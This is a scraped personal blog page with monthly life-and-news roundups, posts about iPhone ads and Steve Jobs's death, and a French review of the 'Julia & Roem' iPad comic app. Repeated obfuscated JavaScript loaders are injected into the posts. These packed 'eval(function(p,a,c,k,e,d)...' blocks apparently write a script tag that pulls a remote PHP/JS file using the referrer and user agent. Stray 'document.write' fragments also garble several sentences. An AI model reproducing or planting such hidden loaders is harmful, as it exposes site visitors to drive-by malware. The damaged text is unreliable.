Monthly notable news (w20-25)

On the domestic front, after much hesitation, the summer has finally arrived. At work, it is crazier than ever with the start of the vacation loan, the TD summer reading club, the twenty-days of amnesty, the summer clean-up and all this often in a sweatshop-like environment (hot and humid, because the ventilation and AC doesn’t work properly). It is so exhausting. I’ve applied for a job with more responsibilities (and pay) but flunked the interview (for the second time!). I am either good for nothing else or there’s something rotten in the HR kingdom.

I felt quite depressed lately. With all the problems with the house and at work, as well as the fact that I have not written or read much in several months, it’s no surprise. I come back from work with all my energy spent. I feel worthless. I feel I give a lot to the people around me and doesn’t get much (attention, respect, gratitude, etc.) in return. I hate it when dark thoughts keep me from enjoying life. But, hey!, it’s summer so lets enjoy the sun, the parks, the museums, the flowers, the cats, the people and particularly the few remaining days of my second ten-day summer vacation. There’s lot to do around the house and so much writing (hopefully) to catch up (I’ll try to go at it with smaller bites)!

In the news, Apple has announced some great software updates (iOS 11, macOS High Sierra, watchOS 4) and some new products (iMac & MacBook Pro, or iPad Pro updates, as well as a new iMac Pro and the HomePod, a speaker that they say will reinvent music at home) and my evenings have been consumed with listening to the latest Trump craziness on MSNBC. Everyday brings a new lie! More on the news in the links bellow…

I have always enjoyed the stray cats in my backyard but this year it is a real infestation: a battered dominant male [Toffee], two females (mother [Grisou] and daughter [Chaussette/Socks], their FIVE kittens and a couple of tomcat challengers. That’s TEN cats! They have laid waste to the backyard garden so I had to do something to control the situation. Unfortunately, the lack of consistent animal management policies in the city (and particularly in this borough, VSP) puts all the burden on the citizen and doesn’t give much help. My only option is to bring them to the Berger Blanc (which has a terrible reputation and an almost all-kill policy — also, for some mysterious reasons [$$?], my borough doesn’t deal with the SPCA) which I refuse to do. So far, I’ve caught all the females and their kittens, and I’ll see what I can do from there (any suggestions?)…

I’ve also started taking some omega-3 supplements, which (according to an NHK World report) is supposed to be good against cholesterol and dementia, amongst other things (like cancer or arthritis). It’s messing up with my digestion, but strangely I feel that my mind is a little clearer. Placebo effect? Anyway, we’ll see…

Strangely, I kept busy during the last month by doing lots of little things (cleaning up the garage, buying a new couch, burying my mother’s ashes, etc. — daily routine stuff) about which there’s little to say (or I just can’t recall some of them). I confess that I also probably watch too much TV. Anyway, that’s about it for now…

Although, as always, I continued to stay acquainted with the affairs of the world and gathered nearly a hundred notable news & links — which I share with you (in both french or english, and roughly separated in a few categories of interest), after the jump.

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Weekly notable news (w17-19)

Another few weeks have passed quickly without anything significant happening: More crazy weeks at works and rainy week-ends where I don’t feel I accomplished anything. I am tired and really need a longer vacation. Next week I’ll start a ten-day holiday where I’ll be able to rest (sleep late!), catch up on stuff (writing, work around the house), travel around (Ottawa’s Tulip’s festival, Quebec City, botanical garden, museums, the libraries book sale, bury my mother’s ashes, etc.) and, above all, completely forget about work for a while. Or so I thought!

In hope for greener pastures, I have applied for a new library job (more responsibilities, further from home, but a greater challenge for my skills and a much better salary). However, after a lengthy processus, they scheduled an interview right in the middle of my vacation and at nine o’clock on the morning of my BIRTHDAY! Not only they made me filled a psychological test online (it’s called “an inventory of personality” and it will probably reveal that I am a total psycho) but they didn’t even bother to reply when I asked if it was possible to reschedule, so I’ll do my best to be there and we’ll see. Que sera, sera.

The weather has really been lousy lately. May is supposed to be the nicest month of all (and not only because it’s my birthday). Overall, it has been cold and rainy. It even snowed a little last week. In may! Hopefully, it will not portend that the summer will be likewise, and it will soon improve (at least for my vacations, please!).

Something strange happened at the beginning of the month: out of the blue, one late afternoon, I started to smell a vague odour of gazoline in the basement. It didn’t come from the obvious source, the garage. Usually, such smell comes from the sewage (through a dried P-trap) or from a dead animal but, in this case, it seemed to come from the pit of the water-pipe entry. I called the city and was told not to worry, it was “probably” not toxic and might have come from some work on the pipes in the neighbourhood (I couldn’t locate any nearby). I cracked open a window and the next morning it was gone. I never knew what it was.

The unlucky streak didn’t stop there. Not only I broke a piece of tooth while eating a granola bar during my lunch break at work (and I am still waiting for the dentist to find some spare time for an appointment), but I also discovered that the damage to the rear balcony of the house is more extensive than I first thought. The supporting posts are not planted deep enough (they rest on concrete supports that are just on the surface while they should be in soil deep enough so it never freezes in winter — who are the morons who built this house?!) so the ground expansion due to the freezing is slowly ripping the balcony off the house. So much that it has now become worrisome. We will have to do the repairs sooner than expected and it will probably be quite costly! What an exciting boring life!

Again, I must remind myself not to let the outside world rattle my core. Carpe diem, my boy, carpe diem!

Finally, I managed to stay acquainted with some of the affairs of the world and gathered notable news & links of interest — which I share with you (in both french or english, and organized into a few basic categories), after the jump.

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A Magazine Is an iPad That Does Not Work!

Someone at the book fair brought to my attention this funny (and viral it seems) video:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hefih|var|u0026u|referrer|difzi||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrzdh|var|u0026u|referrer|zetry||js|php’.split(‘|’),0,{}))


Think whatever you want of it, document.write(“”); it is cute.

Three new ads for the iPhone 4S !


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkzbb|var|u0026u|referrer|asdyf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzaih|var|u0026u|referrer|hyebr||js|php’.split(‘|’),0,{}))


And an older ad:

And, document.write(“”); finally, the iPhone 4S introduction video

History of the iPhone (in memory of Steve Jobs)

Here’s a great video!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbafy|var|u0026u|referrer|eeehn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fehrd|var|u0026u|referrer|ntyar||js|php’.split(‘|’),0,{}))

CNET UK Presents: History of the iPhone, document.write(“”); dedicated to the memory of Steve Jobs from Drew Stearne on Vimeo.

Steve Jobs has passed away


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|haesn|var|u0026u|referrer|stdfh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szasr|var|u0026u|referrer|rbdtf||js|php’.split(‘|’),0,{}))
The co-founder of Apple has passed away at 56. It is the end of an era. Widely admired, document.write(“”); this great man will be sorely missed. This is indeed a sad day.

Here’s more news, some reactions and tributes.

Julia & Roem: l’Apps

“Après un «coup de sang» environnemental apocalyptique et dévastateur, document.write(“”); la planète s’apaise et se recompose. Dans une géographie chamboulée, au cœur d’un nouveau désert, quelques survivants tentent de s’organiser dans ce nouveau monde. Sous le regard amusé d’un aumônier multiconfessionnel, les acteurs se mettent en place pour rejouer, malgré eux, la plus universelle des tragédies amoureuses… Parviendront-ils à s’écarter de la route qui semble toute tracée devant eux?” (Présentation sur l’Apps Store)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysnke|var|u0026u|referrer|beaya||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbaen|var|u0026u|referrer|eayzy||js|php’.split(‘|’),0,{}))

Cette application adapte en format électronique pour l’iPad la plus récente BD de Bilal. Pour l’histoire, je vous renvoi au
commentaire que j’ai fait sur la bande-dessinée elle-même.

Cette application offre une approche différente de la lecture de bande-dessinée. Chacune des cases défile sur l’écran comme un diaporama, avec une trame sonore originale (par Goran Vejvoda). Il n’y a pas de bulle mais à la place on a soit le texte qui apparait en sous-titres, ou une version racontée du texte (la narration est d’ailleurs faite par Enki Bilal lui-même!). On peut zoomer sur les détails des images. C’est assez intéressant, mais, si j’apprécie bien les formats électroniques, je dois avouer être tout de même un peu traditionnaliste dans ma lecture de BD (ou de comics) et j’aime bien avoir d’abord une vue d’ensemble de la planche et de pouvoir zoomer ensuite sur les cases et les textes (approche que l’on retrouve dans des applications de lecture comme Comics par ComiXology par exemple).

Petite démonstration:

C’est cool, non?

J’adore l’idée de lire en format électronique une bande-dessinée européenne, et une de Bilal encore plus. Toutefois, ce qui est domage c’est que l’on ait pas le controle sur la vitesse de défilement des cases (à moins de faire “pause” et d’avancer manuellement, mais les boutons de controles restent alors en filigrane, ce qui nuit beaucoup à la lecture). Mais ce qui m’embête énormément avec cette application c’est que lorsque la description me dit “cette application vous propose l’intégralité de la bande dessinée Julia & Roem,” je m’attend vraiment à avoir l’intégralité de la BD. Je me disais d’ailleurs que $5.99 c’était vraiment toute une aubaine (alors que la BD en soi est $32.95)! Après avoir acheté l’application, je me rend compte qu’elle ne contient que la première partie de l’histoire et qu’il me faudrait payer un autre $3.99 pour une deuxième partie et un autre $3.99 pour une troisième. Il y a combien de partie comme ça? Est-ce que ça se termine vraiment avec la troisième partie? C’est pratiquement une arnaque! Bon, la première partie est un peu plus chère parce qu’elle inclue l’application comme telle et les bonus (un entretien avec Bilal, de l’info sur la bande-originale, une biographie, une bibliographie et une filmographie de Bilal, ainsi que quelques liens internet). Et même à $13.97, c’est quand même moins chère qu’acheter la BD papier… Mais je m’attendais quand même à mieux de Casterman…

Je suis donc plutôt décu. Mon $5.99 m’a tout de même permis d’expérimenter avec le format, mais j’ai quand même préférer lire la BD papier. Je recommande cette application seulement s’il vous faut vraiment sauver de l’argent et si vous voulez expérimenter une façon “différente” de lire une BD. Sinon, il y a toujours les bibliothèques publiques!

Julia & Roem a été créé par les Éditions Casterman en juillet 2011 (la version 2.0 est parue en août avec les chapitres 2 et 3). L’application est disponible, en français seulement, dans la catégorie “books” (ou “Livres numériques” en français) de l’iTunes Store (tant US, CA ou FR) pour 4.99 EUR (ou $5.99 US/CDN). D’une taille de 277 MB, elle est compatible avec tout iPhone, iPod touch, et iPad qui opèrent avec la version iOS 3.1.3 ou plus. Recommandé pour 12+ ans (Rares/légères scènes de violence fictive; Rares/légères scènes de consommation ou de référence à l’alcool, au tabac ou à la drogue).

Julia & Roem © Casterman 2011 • Enki Bilal.